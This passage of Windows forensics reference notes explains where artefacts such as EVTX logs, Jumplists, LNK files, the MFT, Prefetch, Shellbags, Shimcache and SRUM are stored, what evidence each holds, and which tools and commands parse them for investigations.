It can notably be used to take advantage of Linux utilities such as `grep` and `awk`.

```
EvtxECmd.exe [-f '<FILE>' | -d '<DIRECTORY>']  --csv '<OUTPUT_DIRECTORY_CSV>'

EvtxECmd.exe [-f '<FILE>' | -d '<DIRECTORY>'] [--inc <LIST_EVENT_IDs> | --exc <LIST_EVENT_IDs>] --csv '<OUTPUT_DIRECTORY_CSV>'

# apt-get install python-evtx - Unoptimized
evtx_dump.py <EVTX> > <DUMP_FILE>
```

**CSV searching**

The Linux `sort` utility can be used to sort CSV fields:

```
sort --field-separator='<DELIMITER>' --key=<COLUMN_NUMBER | COMMA_LIST_COLUMN_NUMBERS> <CSV_FILE>

```

`q` is a command line tool that allows direct execution of SQL-like queries on CSV files.

```
# -H: indicate that the CSV file has an header
q -H -d '<DELIMITER>' "<SQL_STATEMENT>"

# Query example
q -d "," -H "SELECT TimeCreated,EventId,Provider,Channel,Computer,UserId,MapDescription,ChunkNumber,UserName,RemoteHost,PayloadData1 FROM <CSV_FILE> WHERE TimeCreated LIKE '2020-04-07%' AND (Provider='Microsoft-Windows-Security-Auditing' OR Provider='Microsoft-Windows-TaskScheduler' OR Provider='Microsoft-Windows-TerminalServices-RemoteConnectionManager')"
```

### Automated analysis

**hayabusa**

[`hayabusa`](https://github.com/Yamato-Security/hayabusa) is a tool written in Rust that leverage Sigma-based rule, converted in the "hayabusa" `YML` format as well as custom detection rules to generate a timeline of notable events from Windows `EVTX` logs. The resulting timeline is exported in `CSV` format.

`hayabusa` currently supports most the Sigma rule specification and delivers better results on default Windows events (without `Sysmon` notably) than [`Chainsaw`](https://github.com/countercept/chainsaw).

```
# Updates the Sigma and hayabusa rules from GitHub.
hayabusa.exe -u

# Generates a CSV-timeline from the specified EVTX file or EVTX in the specified folder.
hayabusa.exe --utc --rfc-3339 -o <OUTPUT_CSV> -d <EVTX_FOLDER>
```

**DeepBlueCLI**

The [`DeepBlueCLI`](https://github.com/sans-blue-team/DeepBlueCLI) PowerShell script can be used to automate a basic analysis of Windows events logs. A number of detection cases are implemented, related to:

* Suspicious account behavior (user creation and group membership operations, bruteforce attempts, etc.)
* Command line / Sysmon / PowerShell auditing (long command line, PowerShell obfuscated command or download one-liner, etc.)
* Service operations (suspicious service creation, Windows Event Log service stating / stopping, etc.)

The following Windows event logs / providers are supported:

* Windows Security (`Security.evtx`)
* Windows System (`System.evtx`)
* Windows Application (`Application.evtx`)
* Windows PowerShell
* Sysmon

```powershell
# Process the specified EVTX file.
.\DeepBlue.ps1 <EVTX_PATH>

# Process logs of the current system (must be executed with sufficient privileges to access the logs).
.\DeepBlue.ps1 [-log Security | System | Application | Powershell | Sysmon]
```


# Jumplist

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

Location:

* `AutomaticDestinations`:

  `%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\<APP_ID>.automaticDestinations-ms`

  Filename example: `590aee7bdd69b59b.automaticDestinations-ms`
* `CustomDestinations`:

  `%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\<APP_ID>.customDestinations-ms`

  Filename example: `fb3b0dbfee58fac8.customDestinations-ms`

Yield information related to **files and folders access**.

Introduced in `Windows 7`, `Jumplists` are linked to a taskbar user experience-enhancing feature that allows users to "jump" to files, folders or others elements by right clicking on open applications in the `Windows taskbar`. The `Windows Explorer`'s `Quick Access` feature also stores entries in `Jumplists`.

Two forms of `Jumplists` are created:

* automatic entries for recently accessed items, stored in `*.automaticDestinations-ms` files.
* custom entries in `*.customDestinations-ms` files for items manually "pinned" elements (by users or the applications themselves) to the `Windows taskbar` or an application's `Jumplist`.

Each application `AutomaticDestinations` and `CustomDestinations` `JumpLists` information are thus stored in two unique and separated files, of different format:

* `AutomaticDestinations` `JumpLists` files are stored as `AUTOMATICDESTINATIONS-MS` file, in the `MS OLE Structured Storage` format. This file format contains multiple streams, each stream composed of data similar to `shortcut files (.LNK)`.
* `CustomDestinations` `JumpLists` are stored as `CUSTOMDESTINATIONS-MS` file, also assimilable to a series of `shortcut files`.

### Information of interest

`JumpLists` hold information similar in nature to `shortcut files` for each file referenced in an application's `AutomaticDestinations` / `CustomDestinations` `JumpLists`:

* the target file's **absolute path, size and attributes** (hidden, read-only, etc.).
* the target file **`Modified, Access, and Created (MAC)` timestamps**, updated whenever the file is "jumped" to.
* the **number of times the target file was "jumped" to**.

As `JumpLists` are linked to an application, through an `AppId`, knowledge of the application that was used to open the files can be deducted if the application associated to the `AppId` is known. A number of `AppId` is documented in [`EricZimmerman` 's `JumpList` GitHub repository](https://github.com/EricZimmerman/JumpList/blob/master/JumpList/Resources/AppIDs.txt).

Specific applications may define custom `JumpLists` entries that store information of forensic interest. For example, the `Google Chrome` and `Microsoft Edge` web browsers store the recently closed tabs in their respective `CustomDestinations` `JumpLists`.

### Parsing

Eric Zimmerman's `JumpListExplorer.exe` and `JLECmd.exe` tools (`KAPE`'s `JLECmd` module) can be used to process `JumpLists` files.

```
# Parses the specified JumpLists file.
JLECmd.exe [-q --csv <CSV_DIRECTORY_OUTPUT>] -f <JUMPLIST_FILE>

# Recursively retrieves and parses the JumpLists files in the specified directory.
JLECmd.exe [-q --csv <CSV_DIRECTORY_OUTPUT>] -d <C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\ | C:\ | DIRECTORY>
```

***

### References

<https://www.youtube.com/watch?v=wu4-nREmzGM>

<https://forensicswiki.xyz/page/LNK>

<https://www.magnetforensics.com/blog/forensic-analysis-of-lnk-files/#:\\~:text=LNK%20files%20are%20a%20relatively,LNK%20extension>


# LNKFile

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

Location:

* Automatically created `shortcut files`:

`%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\*.lnk`

* Additional likely locations of `shortcut files`:
  * Automatically created for documents opened using `Microsoft Office` products:\
    `%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\Microsoft\Office\Recent\*.lnk`
  * On the users' `Desktop`:\
    `%SystemDrive%:\Users\<USERNAME>\Desktop`
  * in the `Startup folders`:\
    `%SystemDrive%:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`\
    `%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`

Yield information related to **files and folders access**.

`Shortcut files (*.lnk)` are `Windows Shell Items` that reference to an original file, folder, or application. The effect of double-clicking a `shortcut file` is intended to be the same as double-clicking the application or file to which it refers. In addition, command line parameters and the folder in which the target should be opened can be specified in the shortcut. The `shortcut files` have a magic number of `0x4C` (`4C 00 00 00`).

While `shortcut files` can be created manually, the Windows operating system also creates `shortcut files` under numerous user activities, such as opening of a non-executable file. For instance, a `shortcut file` is created under `[...]\AppData\Roaming\Microsoft\Windows\Recent\` whenever a file is opened from the `Windows Explorer`. `Shortcut files` created in such circumstances are referenced in the `NTUSER.DAT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` registry keys.

The `shortcut files` format is also used for entries within the `AutomaticDestinations` and `CustomDestinations` `JumpLists` files (introduced in `Windows 7`). For more information on the `JumpLists` files, refer to the `[DFIR] Windows - Artefacts - Jumplist` note.

### Information of interest

As the `shortcut files` are not automatically deleted if the target file is deleted, they can be a source of historical information.

The `shortcut files` yield the following information of forensic interest:

* the **target file's absolute path, size and attributes** (hidden, read-only, etc.). The size and attributes are updated at each access to the target file (that induce an update to the `shortcut file`).
* the **target file and the `shortcut file`** (source) itself **`Modified, Access, and Created (MAC)` timestamps at the time of the last access to the target file**.
* whether the **target file was stored locally or on a remote network share** through the specification of a `LocalPath` or `NetworkPath`.
* occasionally **information on the volume that stored the target file**: drive type (fixed vs removable storage media), serial number, and label / name if any.
* occasionally **information on the host on which the shortcut file is present**: system's NetBIOS hostname and MAC address.

The `source timestamps` stored in the `shortcut file`, as well as the **`Creation` and `Modification timestamps` of the shortcut file itself**, will also usually respectively indicate when the **target file was first and last opened**.

### Parsing

Eric Zimmerman's `LECmd.exe` tool (`KAPE`'s `LECmd` module) can be used to process `shortcut files`.

```
# Parses the specified shortcut file.
LECmd.exe [-q --csv <CSV_DIRECTORY_OUTPUT>] -f <LNK_FILE>

# Recursively retrieves and parses the shortcut files in the specified directory.
LECmd.exe [-q --csv <CSV_DIRECTORY_OUTPUT>] -d <C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\ | C:\ | DIRECTORY>
```

***

### References

<https://www.youtube.com/watch?v=wu4-nREmzGM> <https://forensicswiki.xyz/page/LNK> <https://www.magnetforensics.com/blog/forensic-analysis-of-lnk-files/#:\\~:text=LNK%20files%20are%20a%20relatively,LNK%20extension>


# MFT

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

The `Master File Table (MFT)`, filename `$MFT`, is the main element of any `New Technology File System (NTFS)` partition. The `Partition Boot Sector` `$Boot` metadata file, which starts at sector 0 and can be up to 16 sectors long, describes the basic `NTFS` volume information and indicates the location of the `$MFT`.

The `MFT` contains an entry for all existing files written on the partition. Deleted files that were once written on the partition may also (temporally) still have a `file record` in the `MFT`.

Each `file record` in the `MFT` notably includes:

* The filename.
* The file size.
* The file unique (under the `NTFS` volume) `Security ID` in the `$STANDARD_INFORMATION` attribute.
* The file creation, last modified, last accessed, and last changed `SI` timestamps in the `$STANDARD_INFORMATION` attribute.
* The file creation, last modified, last accessed, and last changed `FN` timestamps in the `$FILE_NAME` attribute.
* Whether the `file record` is in use. When a file is deleted from the volume, its associated `MFT` `file record` is set as no longer in use, but is not directly deleted during the file deletion process. Metadata information, and content for `MFT` resident files, can thus be retrieved for recently deleted files (as long as the `file record` is not overwritten by a new entry).

The `$MFT` file has both the `Hidden (H)` and `System (S)` attributes and will thus not be shown by the Windows Explorer application or the `dir` utility by default.

**$Bitmap**

The `$Bitmap` file tracks the allocation status (allocated or unused) of the clusters of the volume. Each cluster is associated with a bit, set to `0x1` if the cluster is in use.

Upon deletion of a non resident file, the `$Bitmap` file is updated to tag the cluster(s) associated with the file as free. The clusters are not overwritten during the deletion process, and the file data can thus be carved as long as the cluster(s) are not re-used.

**$Secure**

The `$Secure` file contains the `security descriptor` for all the files and folders on a `NTFS` volume. The `security descriptors` are stored within the `$SDS` named data stream of the `$Secure` file. The `$Secure` file additionally defines two other named streams (`$SDH` and `$SII`) for lookup in the `$SDS` stream.

Each file or folder is referenced in the `$Secure` file with its volume-unique `Security ID` and `security descriptor`. The `Security ID` of the file is referenced in the `MFT` file record associated with the file (in the `$STANDARD_INFORMATION` attribute). While no metadata information are present in the `$Secure` file (only the file's `security descriptor`), the file's `Security ID` can be used to map the file's information / data from the `MFT` to its `security descriptor` in the `$Secure` file.

The `security descriptor` (`SECURITY_DESCRIPTOR` data structure) references:

* The owner of the file (as a pointer to a `SID` structure).
* The access rights to the file in the `Discretionary Access Control List (DACL)` attribute.
* The audit rights that control how access is audited (which access will generate events) in the `System Access Control List (SACL)` attribute.

**$LogFile**

The `$LogFile` is part of a journaling feature of `NTFS`, activated by default, which maintains a low-level record of changes made to the `NTFS` volume. Every disk operation is journalized prior to being committed. In case of failure, such as a crash during an update, the `$LogFile` can be used to revert disk operations. As low-level operations are journalized, the `$LogFile` contains very limited historical data, usually only of the last few hours at most.

**$STANDARD\_INFORMATION vs $FILE\_NAME**

The `$STANDARD_INFORMATION` and `$FILE_NAME` attributes are updated differently for the same file action. The changes produced on the attributes for a file creation, access, modification, renaming, etc. can be found on the [SANS `Windows Forensic Analysis` poster](https://www.sans.org/security-resources/posters/windows-forensic-analysis/170/download).

For more information on Windows timestamps, refer to the `[DFIR] Windows - Timestamps` note.

### Parsing

**MFTECmd**

The `MFTECmd` utility can parse and extract information from the `$MFT` (as well as other filesystem artefacts such as the `UsnJrnl`'s `$J` stream, the file ownership `$Secure:$SDS` data stream, and the transaction log file `$Logfile`).

```bash
# A $MFT file on a mounted partition should be specified.
# For instance, to extract $MFT data from a forensics image, the image should first be mounted and the $MFT specified as <DRIVER_LETTER:\$MFT to MFTECmd.exe.

MFTECmd.exe -f '<$MFT_FILE>' --csv <OUTPUTDIR_PATH>
```

**Mft2Csv**

The [`Mft2Csv`](https://github.com/jschicht/Mft2Csv) utility can parse, decode, and log information from the MFT to a CSV. It supports getting the `$MFT` from a variety of sources and notably:

* a raw/dd image of disk or partition
* an extracted `$MFT` file
* a live host

Note that `Mft2Csv` can only output in one format at a time.

```bash
# Get machine time zone
tzutil /g

# Opens a GUI
Mft2Csv.exe

# Command line
# UTC + 1
Mft2Csv.exe /Volume:<NTFS_VOLUME> /OutputPath:"<OUTPUT_FOLDER>" /OutputFormat:all /TimeZone:"<-12.00 ... 14.00>" /Separator:"<CSV_SEPARATOR>"
Mft2Csv.exe /MftFile:<MFT_FILE> /OutputPath:"<OUTPUT_FOLDER>" /OutputFormat:all /TimeZone:"<-12.00 ... 14.00>" /Separator:"<CSV_SEPARATOR>"
```

`Mft2Csv` will produce a CSV containing all the MFT entries. To parse the CSV, the Python utility `q` can be used to run SQL-like queries directly against the CSV:

```bash
q -d '|' -H -O "SELECT FN_FileName,FilePath,FileSizeBytes,SI_FilePermission,SI_CTime,SI_ATime,SI_MTime,SI_RTime,FN_CTime,FN_ATime,FN_MTime,FN_RTime FROM <MFT_CSV_PATH> WHERE SI_CTime >= '<YYYY-MM-DD HH:mm:SS.0000000>' AND SI_CTime < '<<YYYY-MM-DD HH:mm:SS.9999999>' ORDER BY SI_CTime"
```

**PowerShell PowerForensics Get-ForensicFileRecord**

The PowerShell cmdlet `Get-ForensicFileRecord` of the `PowerForensics` suite parses the `$MFT` file and returns an array of FileRecord entries. By default, `Get-ForensicFileRecord` will parse the `$MFT` file on the C:\ drive.

`Get-ForensicFileRecord` can be used to retrieve record for a specified file.

```powershell
# Deploy the PowerShell PowerForensics module
.\PowerForensics.psd1
Import-Module .\PowerForensics.psd1

Get-ForensicFileRecord | Out-File <OUTPUT_FILE>
Get-ForensicFileRecord -VolumeName <NTFS_VOLUME> | Out-File <OUTPUT_FILE>
Get-ForensicFileRecord -MftPath <EXPORTED_MFT_PATH> | Out-File <OUTPUT_FILE>

Get-ForensicFileRecord -Path <FILE_TO_GET_RECORD_OF>
```

***

### References

<https://docs.velociraptor.app/docs/forensic/ntfs/>


# Outlook\_files


# Prefetch

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

Location: `%systemroot%\Prefetch\<EXECUTABLE.EXE>-<RANDOM_ID>.pf` Filename example: `POWERSHELL.EXE-022A1004.pf`

Yield Information related to **programs execution**.

**Not present by default on Windows Server Operating Systems.**

`Windows Prefetch` is a performance enhancement feature that enables prefetching of applications to make system boots or applications startups faster. `Prefetch` files are created whenever a program is executed from a specific path. If the same binary is executed from different locations, separate `Prefetch` files will be created for each different location. A `Prefetch` file can be created even if the executable did not successfully run.

Whether the `Prefect` feature is enabled is configured by the `EnablePrefetcher` registry key:

* `0` / undefined: disabled (default on Windows Server Operating Systems).
* `0x1`: Partially enabled (application prefetching only).
* `0x2`: Partially enabled (boot prefetching only).
* `0x3`: Enabled (application and boot prefetching).

### Information of interest

`Prefetch` files are not automatically deleted if the related executable is deleted and can thus be a source of historical information. However, as the `Prefetch` directory is limited to 128 entries on `Windows XP` to `Windows 7` and 1024 entries starting from `Windows 8`, Prefetch files may be overwritten and information lost.

The `Prefecth` filenames are based on the executed program name and a hash, computed using a proprietary algorithm and based on the full path (and for some binaries, such as `dllhost.exe` or `svchost.exe`, command line parameters) of the executed program.

The `Prefecth` files can yield the following information of forensic interest:

* The file name and size of the binary executed.
* The first and, starting from Windows 8, last eight executions timestamps.
* The `Prefecth` file `NTFS` created and last modified timestamps also indicate the first and last time the program was executed.
* Run count (number of time the binary was executed).
* List of files and directories accessed during the first ten seconds of execution (including the eventual `DLL` loaded). The full path to executable file can often be determined from the list of files accessed (duplicate possible if a given binary access another binary with the same name).

Note that the `Prefecth` files can be easily deleted, potentially invalidating the trace of execution and timestamps (notably of first execution).

*Prefecth files indirect information*

The creation or modification of `Prefecth` files observed in others artefacts (`$MFT`, `UsnJrnl`, etc.) reflect an execution of the binary linked to the `Prefecth` file (and whose name can be deducted from the `Prefecth` filename).

*Prefecth information related to PowerShell execution*

The `POWERSHELL.EXE-[...].pf` Prefetch file may contain references to recently executed PowerShell scripts. For an entry to be created in the Prefetch file, the given script must be executed within the first ten seconds of the `powershell.exe` execution.

The accessed file list does retain entries from previous instances of a program execution. Accessed files information may thus persist through `powershell.exe` subsequent runs.

### Parsing

Eric Zimmerman's `PECmd.exe` tool (`KAPE`'s `PECmd` module) can be used to parse `Prefecth` file(s):

```
# Parses the specified Prefecth file.
PECmd.exe [-q --csv <CSV_DIRECTORY_OUTPUT>] -f <PF_FILE>

# Recursively retrieves and parses the Prefecth files in the specified directory.
PECmd.exe [-q --csv <CSV_DIRECTORY_OUTPUT>] -d <C:\Windows\Prefetch | C:\ | DIRECTORY>
```


# RecentFilecache

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

Location: `%systemroot%\AppCompat\Programs\RecentFileCache.bcf`

Only Windows 7 and Windows Server 2008 R2.


# RecycleBin


# Shellbags

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

Location (starting from `Windows 7`):

* Files:

  `%SystemDrive%:\Users\<USERNAME>\NTUSER.dat`

  `%SystemDrive%:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\UsrClass.dat`
* Registry keys:
  * `UsrClass.dat`:

    `HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU` `HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags`

    \=> Information related to `Windows Explorer` activity.
  * `NTUSER.DAT`:

    `HKCU\Software\Microsoft\Windows\Shell\BagMRU` `HKCU\Software\Microsoft\Windows\Shell\Bags`

    \=> Information related to Desktop and Network Locations activity.

    `HKCU\Software\Microsoft\Windows\ShellNoRoam\Bag` `HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU`

    \=> Unclear usage and limited forensic research.

Yield information related to **files and folders access**.

The `Shellbags` are `Windows Registry keys` designed as an user experience enhancing feature to keep track of Windows explorer graphical display settings on a folder-by-folder basis. For instance, a `Shellbag` entry is used to store the `View` mode of a folder (details, list, small / medium / large icons) as well as the column displayed (entry names, dates, sizes, etc.) and their order.

`Shellbags` contain folders and network shares to which a given user has navigated (using the `Windows Explorer`), but not files or subdirectories if they were not accessed. An exception is for `ZIP` files opened directly as folders through the `Windows Explorer`, that are stored as if they were folders (with their content thus partially referenced depending on the related activity). `Shellbags` entries are also generated by access to the `Control Panel` settings, on an interface-by-interface basis. The `Shellbags` entries related to the `Control Panel` can notably be useful to detect possible `Windows Firewall` (`Control Panel\All Control Panel Items\Windows Defender Firewall\Customize Settings`) or `Credential Manager` (`Control Panel\User Accounts\Credential Manager`) operations.

Various kinds of user activity may generate or update `Shellbag` entries (with different level of data depending on the activity):

* **first access** or renaming of folders, removable devices, or network shares through the `Windows Explorer` **systematically generate a `Shellbag` entry**
* graphical opening of compressed archives or `ISOs`
* access to the `Control Panel` interface
* modification of the folder view preferences
* etc.

`Shellbag` entries are stored in registry as a tree-like data structure, with the root target having the topmost `BagMRU` key. Each sub-target (sub directory for example) of the parent target are then represented with both:

* A registry subkey, named with a numerical value (starting from `0`).
* A registry value (in the parent target's registry key), named with the same numerical value and associated with binary data that notably contains the target's name.

Each `Shellbag` `BagMRU` registry key also contains a `MRUListEx` value, that maintains the entries visited order, i.e the order in which the sub targets of a target were accessed (the last sub target accessed having a `MRU position` of 0).

For example, `My Computer` will be associated with the topmost `BagMRU` key, `C:` to `BagMRU\0` if it was access first, `C:\Users` to `BagMRU\0\2` if it was accessed third, and so on and so forth. A hierarchical view of the `Shellbag` entries can thus be established.

### Information of interest

As the `Shellbags` entries are stored in user's specific registry hives, **targets** (folders, `Control Panel` interfaces, etc.) **access can be tied to a given user** through its `Shellbags`. `Shellbags` entries are populated only upon interaction (i.e are not prepopulated), the mere presence of a `Shellbag` entry for a target is thus evidence that the user interacted with the given target. `Shellbags` entries are not automatically deleted upon deletion of the related folders and can thus be a **source of historical information**.

The `Shellbags` entry for a given target yield the following information of forensic interest:

* the **target name and absolute path**.
* the **target `Modified, Access, and Created (MAC)` timestamps** (`UTC`), retrieved from the `$MFT` at the `Shellbag` entry creation (and not further updated).
* each entry in `ShellBags` `BagMRU` maintain a `MRUListEx` list, which records **the order in which the sub targets of a target were accessed** (the last sub target accessed having a `MRU position` of 0).

The **first and last interacted timestamps** can be **indirectly deducted for some targets**:

* The `First Interacted` timestamp can be inferred for some targets thanks to the tree like data structure of `ShellBags` entry. Indeed, for entries that do not have subkeys (i.e directory for which no subdirectory were accessed) the `First Interacted` timestamp is equal to the key's `LastWriteTime` timestamp. This is due to the fact that the key is created when a target is first accessed, and further activity for that target (such as display settings modifications) will only update the key's values. In such circumstances, the `LastWriteTime` timestamp reflect the timestamp of the key initial creation (as it is not updated upon updates to a key's values). When a subkey is created for the target (i.e when a subdirectory is accessed for that particular directory), the timestamp becomes unreliable as it reflect the creation of the subkey.
* The `Last Interacted` timestamp can be deducted for **the sub target that was last interacted with**. Indeed, as each `Shellbag` entry corresponds to a registry key, the key's `LastWriteTime` timestamp indicates when the `Shellbag` entry was last updated. The child-bag / sub-target that was last interacted with being known (`MRU position` of 0), this timestamp correspond to the last interaction timestamp for the sub target that was last interacted with.

Note however that major updates of the Windows operating system may result in modification of `ShellBags` entries, resulting in updated last written timestamp.

### Parsing

Eric Zimmerman's `ShellBagsExplorer.exe` and `SBECmd.exe` tools (`KAPE`'s `SBECmd` module) can be used to parse `ShellBags` entries.

`ShellBagsExplorer.exe` displays the `ShellBags` entries in a graphical user interface that allow browsing of the referenced targets, in a similar manner to `Windows Explorer`.

```
# Recursively enumerates the users' registry hives in the specified directory and parses their ShellBags entries.
SBECmd.exe --csv <CSV_DIRECTORY_OUTPUT> -d <C:\Users\<USERNAME> | C:\Users\ | DIRECTORY>

# Parses the ShellBags entries in the live registry.
SBECmd.exe --csv <CSV_DIRECTORY_OUTPUT> -l
```

***

### References

<https://www.sans.org/reading-room/whitepapers/forensics/windows-shellbag-forensics-in-depth-34545>

<https://www.sans.org/blog/computer-forensic-artifacts-windows-7-shellbags/>

<https://lifars.com/wp-content/uploads/2020/04/LIFARS-WhitePaper-Windows-ShellBags-Forensics-Investigative-Value-of-Windows-ShellBags.pdf>


# Shimcache

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

* Files:\
  `%WinDir%\System32\config\SYSTEM`
* Registry keys:
  * `>= Windows Server 2003` and `Windows XP 64-bit`\
    `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache`
  * `Windows XP 32-bit`\
    `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatibility\AppCompatCache`

Yield information related to **programs execution**, for Windows operating systems before the Windows 10 / Windows Server 2016 operating systems.

The `Application Compatibility Cache`, also known as `Shimcache`, was introduced in `Windows XP` as part of the `Application Compatibility Infrastructure (Shim Infrastructure)` feature. The `Shim Infrastructure` is designed to identify application compatibility issues and maintain support of existing software to new versions of the `Windows` operating system. As stated in the Microsoft documentation, the `Shim Infrastructure` "implements a form of application programming interface (API) hooking" in order to redirect API calls made by an application to an alternative library containing stub functions, known as the `Shim`. The process of making an application compatible to a new version of Windows through `Shims` is referred to as "`shimming`".

As a part of this framework, the `Application Compatibility Database` references the applications that have known `shimming` solutions. Upon execution of an application, the `Shim Engine` will query this database to determine whether the applications require `shimming`. The `Shimcache` contains metadata about the files that have been subject to such lookup, for optimizing and improve the speed of eventual later lookups.

A `Shimcache` entry is created whenever a program is executed from a specific path. However, starting from the `Windows Vista` and `Windows Server 2008` operating systems, entries may also be created for files in a directory that is accessed interactively. Indeed, browsing a directory using `explorer.exe` will generate `Shimcache` entries for the executables stored within the directory (if the executable was visible in the `Windows Explorer` windows).

**`Shimcache` entries are only written to the registry upon shutdown of the system. The `Shimcache` entries generated since the last system boot are thus only stored in memory.**

While the `Shimcache` entry is not removed upon deletion of the associated file, `Shimcache` entries may be overwritten and information lost as the oldest entries are replaced by new data. A maximum of 96 `Shimcache` entries are stored in `Windows XP` / `Windows Server 2003` and up to 1024 entries starting can be stored starting from the `Windows Vista` and `Windows Server 2008` operating systems.

### Information of interest

Each `Shimcache` entries contain the following information, varying depending on the version of the Windows operating system in use:

* The associated **file full path**.
* On `Windows 2003 and XP 64-bit` and older, **the file size**.
* The **`LastModifiedTime` (`$Standard_Information`) timestamp of the file**, which **does not necessarily reflect the execution time**. Indeed, `Shimcache` entries are not directly associated with an insert / executed timestamp.
* The cache entry position, as a numerical value starting from 0, which represents the insertion position in the `Shimcache`. **The lower the value, the more recently the program was shimmed.**
* From `Windows Vista` / `Windows Server 2008` up to `Windows 8.1` / `Windows Server 2012 R2`, the (undocumented) `Insert Flag` flag which, when set, seems to indicate that the entry was executed. This flag is no longer present starting from Windows 10 / Windows Server 2016, and thus a `Shimcache` entry does not necessarily reflect an execution\*\* (as entries may also be created for files in a directory that is accessed interactively).
* On `Windows XP 32-bit`, the file `Last Update Time` timestamp.

### Parsing

**Entries stored on disk**

Eric Zimmerman's `AppCompatCacheParser.exe` tool (`KAPE`'s `'AppCompatCacheParser` module) and the `ShimCacheParser.py` Python script can be used to parse `Shimcache` entries.

By default, both tools will parse all the `ControlSet` found in the `SYSTEM` hive.

```
# Parses the live system Registry.
AppCompatCacheParser.exe --csv <OUTPUT_FOLDER>
python ShimCacheParser.py --local -o <OUTPUT_FILE>

# Parses the specified SYSTEM hive.
# --nl: option to force the parsing of the hive even if the even is in a "dirty" state and no transaction logs are available.
AppCompatCacheParser.exe [--nl] -f <SYSTEM_HIVE_FILE> --csv <OUTPUT_FOLDER>

python ShimCacheParser.py [--hive <SYSTEM_HIVE_FILE> | --reg <EXPORTED_SYSTEM_FILE>] -o <OUTPUT_FILE>
```

**Entries only present in memory**

The `Volatility2`'s `shimcache` plugin can be used to extract the `Shimcache` entries living in memory (generated since the last system boot).

For more information on how to capture memory and use `Volatility` for memory analysis, refer to the `[DFIR] Memory` note.

```
vol.py -f win7.vmem --profile=Win7SP1x86 shimcache
```

***

### References

<https://www.fireeye.com/content/dam/fireeye-www/services/freeware/shimcache-whitepaper.pdf> <https://www.fireeye.com/blog/threat-research/2015/06/caching\\_out\\_the\\_val.html> <http://www.alex-ionescu.com/?p=39> <https://docs.microsoft.com/en-us/windows/win32/devnotes/application-compatibility-database> <https://lifars.com/wp-content/uploads/2017/03/Technical\\_tool\\_Amcache\\_Shimcache.pdf> <https://github.com/mandiant/ShimCacheParser>


# SRUM

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

Introduced in Windows 8.

Location:

* `SRUM` database: `%SystemRoot%\System32\SRU\SRUDB.dat`.
* (Optional) `SOFTWARE` (`%SystemRoot%\System32\config\SOFTWARE`) registry hive to translate some information in the database (user `SID` to username and network interfaces information notably).

Yield information related to the system usage, including **programs execution** and **executed programs' network usage**. **Historical data only for the last 30 to 60 days** is stored in the `SRUM` database.

Entries are not associated with their timestamp of occurrence but with the timestamp of insertion in the `SRUM` database. As entries are only written to the `SRUM` database every hour, timestamps are thus precise to the hour (with multiple entries usually sharing the same insertion timestamp).

The `System Resource Usage Monitor (SRUM)` is a feature that records numerous metrics of system activities. Among the various information stored, the following two tables hold the most commonly valuable data for forensics investigations:

* `Application Resource Usage` table (GUID `{D10CA2FE-6FCF-4F6D-848E-B2E99266FA89}`), that tracks programs execution. For each entry in the `Application Resource Usage` table (`SrumECmd`'s `AppResourceUseInfo` output), the following information may be recorded:
  * Timestamp of the `SRUM` entry creation.
  * Full path of the executable or application information / description for built-in components.
  * User `SID` of the user executing the process.
  * Metrics on CPU usage (CPU time in foreground and background).
  * Metrics on I/O operations (foreground / background number of read / write operations and bytes read / written).
* `App Timeline Provider` table (GUID `{5C8CF1C7-7257-4F13-B223-970EF5939312}`), that also tracks programs execution. For each entry in the `Application Resource Usage` table (`SrumECmd`'s `AppTimelineProvider` output), the following information may be recorded:
  * Timestamp of the `SRUM` entry creation.
  * Name of the executable and description for built-in components.
  * Timestamp of compilation of the executable.
  * User `SID` of the user executing the process.
  * Timestamp of seemingly approximate end of execution.
  * Total duration of execution (in milliseconds).
* `Network Data Usage` table (GUID `{973F5D5C-1D90-4944-BE8E-24B94231A174}`), that tracks programs execution and network usage of the executed programs. For each entry in the `Network Data Usage` table (`SrumECmd`'s `NetworkUsages` output), the following information may be recorded:
  * Timestamp of the `SRUM` entry creation.
  * Full path of the executable or application information / description for built-in components.
  * Metrics on network data usage (bytes sent and receive on a given network interface).

Some of the information recorded in the `SRUM` database be viewed using the Windows `Task Manager` ("App history" tab).

More information on the tables in the `SRUM` database is referenced in the [`srum-dump`](https://github.com/MarkBaggett/srum-dump) project's [mapping file](https://github.com/MarkBaggett/srum-dump/blob/master/SRUM_TEMPLATE2.xlsx).

### Parsing

**Repairing the SRUDB.dat database**

